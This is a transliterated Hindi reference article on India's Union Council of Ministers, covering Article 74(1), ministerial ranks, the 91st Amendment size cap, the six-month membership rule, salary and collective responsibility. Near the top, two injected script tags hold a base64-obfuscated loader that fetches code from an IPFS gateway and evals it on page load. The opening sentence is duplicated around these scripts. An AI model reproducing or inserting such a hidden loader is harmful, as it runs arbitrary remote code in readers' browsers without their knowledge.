मंत्रिपरिषद
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> anuchchhed 74(1) yah upabandhit karata hai ki rashtrapati ko usake krityoan ke sanchalan evan shaktiyoan ke prayog mean sahayata aur mantrana dene ke lie ek
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
anuchchhed 74(1) yah upabandhit karata hai ki rashtrapati ko usake krityoan ke sanchalan evan shaktiyoan ke prayog mean sahayata aur mantrana dene ke lie ek mantriparishad hogi. yah pradhanamantri ke netritv mean kary karati hai.
gathan
sangh mantriparishad ka gathan pradhanamantri ki salah par rashtrapati ke dvara kiya jata hai. mantrimandal ka gathan kaibinet star ke mantriyoan se hota hai. mool sanvidhan mean kaibinet shabd ka ullekh nahian kiya gaya tha. parantu bad mean 44vean sanvidhan sanshodhan (1978) ke dvara anuchchhed 352 ke tahat kaibinet shabd ko sammilit kiya gaya. jab mantrimandal ke sadasyoan ko unake karyoan mean sahayata dene ke lie rajy mantriyoan aur upamantriyoan ko niyukt kiya jata hai, tab inhean milakar mantrimandal ko mantriparishad ki sanjna di jati hai. mantriparishad tin stariy hota hai, arthath (1) kaibinet star ka mantri, (2) rajy star ka mantri, tatha (3) upamantri. kaibinet star ka mantri apane vibhag ka adhyaksh hota hai tatha usaki sahayata ke lie rajyamantri tatha upamantri niyukti ki jati hai. rajyamantri ko kisi vibhag ka prabhar svaroop roop se sauanpa ja sakata hai. sarakar ki niti ka nirnay matrimanndal ke sadasyoan ke dvara kiya jata hai lekin kisi vibhag ke sambandh mean mantrimandal dvara niti nirdharan karate samay us vibhag ke rajyamantri ko vishesh amantrit ke roop mean niti nirdharan karyavahi mean sammilit kiya ja sakata hai.
mantriyoan ki sankhya
mool sanvidhan mean mantriparishad mean sadasyoan (mantriyoan) ki sankhya nirdharit nahian thi. pradhanamantri apane vivekadhikar ke adhar par mantriparishad ke akar ko sunishchit karata tha. parantu 91vaan sanvidhan sanshodhan adhiniyam, 2004 ke dvara yah nirdharit kiya gaya hai ki kendriy mantriparishad mean pradhanamantri sahit mantriyoan ki kul sankhya lokasabha ke kul sadasy sankhya ke 15 pratishat se adhik nahian hogi. in prakar pradhanamantri ab mantriparishad mean sadasyoan ki adhikatam sankhya ke mamale mean apane vivek ka prayog nahian kar sakata hai. mantriparishad mean unhian vyaktiyoan ko shamil kiya jata hai, jo sansad ke sadasy hote haian. lekin sansad sadasy n hone vale vyakti ko bhi mantriparishad mean shamil kiya ja sakata hai. yadi aise vyakti ko mantriparishad mean shamil kiya jata hai to use 6 mas ke andar sansad ke kisi sadan ka sadasy nirvachit hona p data hai. parantu sanvidhan mean yah vyavastha nahian di gayi hai ki aisa vyakti istifa dekar pun: mantriparishad ka sadasy ban sakata hai ya nahian. sarakar ne is aspasht pravadhan ka labh uthate hue us vyakti ko pun: mantriparishad mean shamil kar lete the. ab 16 agast, 2001 ko sarvochch nyayalay ne ek mahatvapoorn nirnay dete hue vyavastha di ki vidhayika ka sadasy nirvachit hue bina koee bhi vyakti 6 mahine se adhik mantri pad dharan nahian kar sakata. yadi is vyakti ko 6 mahine ke bad vidhayika ke usi satr mean mantri pad par dobara bahal kiya jata hai to avashyak hai ki vah chunav jit kar sadan ka sadasy bane. yadi mantri pad par asin gair nirvachit vyakti diye gaye 6 mahine ki avadhi mean chunav jitane mean asaphal rahata hai aur us vyakti ko dobara mantri pad par bahal kiya jata hai to yah sanvidhan ke anuchchhed 164(1) aur 164(4) ki yojana par aghat jaisa hoga.
vetan evan bhatte
10 janavari, 2008 ko liye gaye nirnay ke anusar kaibinet star ke mantri ka vetan 65,000 rupaye masik nirdharit kiya gaya hai. isake atirikt unake rahane ke lie sarakari avas tatha jab ve sarakari kary ke lie bahar jate haian to yatra bhatta bhi milata hai.
kary
sangh mantrimandal mean hi karyapalika ki vastavik shakti nihit hai tatha rashtrapati sangh mantrimandal ki salah ke anusar apani shaktiyoan ka prayog karata hai. mantrimandal desh ke prashasan, arthik sudhar, suraksha tatha videshi rajyoan ke sambandh mean niti ka nirdharan karata hai aur mantrimandal dvara nirdharit niti ke anusar hi sangh ka shasan sanchalit hota hai.
samoohik tatha vyaktigat uttaradayitv
sangh mantriparishad samoohik roop se lokasabha ke prati uttaradayi hota hai tatha mantriparishad ka pratyek sadasy mantrimandal ke nirnay ke lie uttaradayi hota hai. isake atirikt mantri apane vibhag ke adhikariyoan ke kary ke lie bhi sansad ke prati uttaradayi hota hai. koee bhi mantri apane vibhag ke karyoan ke dayitv se adhikariyoan par dosh lagakar bach nahian sakata hai. mantri ke vibhag ke mamaloan ke sambandh mean sansad mean usase prashn poochha ja sakata hai, jisaka uttar mantri ko dena p data hai, lekin kabhi-kabhi vah lokahit athava gopaniyata ke adhar par uttar dene se inkar kar sakata hai. is prakar se mantri ka dohara uttaradayitv hai. apane vibhag ke lie vah vyaktigat roop se uttaradayi hai. jabaki any mantriyoan ke vibhagoan ke lie any mantriyoan ke sath samoohik roop se uttadayi hai.
mantriparishad ki padavadhi
mantriparishad tab tak apane pad par bana rahata hai, jab tak ki use lokasabha se bahumat prapt rahata hai tatha lokasabha ke naye chunav ke bad naye mantrimandal ka gathan nahian ho jata. mantriparishad ka koee bhi sadasy pradhanamantri ke sath matabhed hone ke karan tyagapatr de sakata hai ya pradhanamantri rashtrapati se sifarish kar use barkhast kar sakata hai. yadi koee mantri sansad ka sadasy nahian rah jata, to use tyagapatr dena p data hai. lekin koee mantri sansad ka sadasy n rahate hue bhi mantri ke pad par rah sakata hai, basharte vah 6 mahine ke bhitar sansad ke kisi sadan ka sadasy ban jae. yadi mantriparishad lokasabha mean vishvas ka mat prapt karane mean asaphal rahane ke bavajood tyagapatr nahian deta, to use rashtrapati barkhast kar sakata hai.
yoo. en. rav banam iandira gaandhi mamale mean uchch nyayalay ne yah abhinirdharit kiya hai ki lokasabha ke vighatan ho jane par bhi mantrimandal samapt nahian hoga aur vah rashtrapati ko salah deta rahega. yadi rashtrapati mantrimandal ki salah ke bina kary karata hai to vah anuchchhed 53(1) ke viparit hoga. kendr mean karyavahak sarakar ka upabandh nahian kiya gaya hai. at: jo mantrimandal pahale se hi kary kar raha hota hai, lokasabha ke vighatan ki sthiti mean bhi vah poorn mantrimandal hota hai. isaka astitv tab tak bana rahata hai jab tak ki nee lokasabha ke gathan ke pashchath nee mantriparishad karyabhar grahan nahian kar leti.
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